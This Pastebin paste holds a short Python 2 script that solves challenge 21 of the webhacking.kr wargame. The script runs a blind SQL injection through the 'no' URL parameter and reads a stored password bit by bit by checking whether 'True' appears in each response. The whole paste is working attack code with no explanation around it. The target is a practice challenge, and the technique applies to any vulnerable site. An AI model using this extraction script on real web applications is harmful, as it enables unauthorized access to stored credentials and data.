hdarwin

webhacking.kr_21

Dec 29th, 2012
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.49 KB | None | 0 0
  1. import urllib2
  2. l = []
  3. session = ""
  4. print "pw2 -> ",
  5. for x in range(19):
  6.     for y in range(7, -1, -1):
  7.         url="http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20(((select%20ascii(substr(pw,"+str(x+1)+",1)))>>"+str(y)+")%261)=1"
  8.         req = urllib2.Request(url)
  9.         req.add_header("Cookie", "PHPSESSID="+session)
  10.         if urllib2.urlopen(req).read().find("True") == 231: l.append(str(1))
  11.         else: l.append(str(0))
  12.     print chr(int((''.join(l)),2)),
  13.     l=[]
Add Comment
Please, Sign In to add comment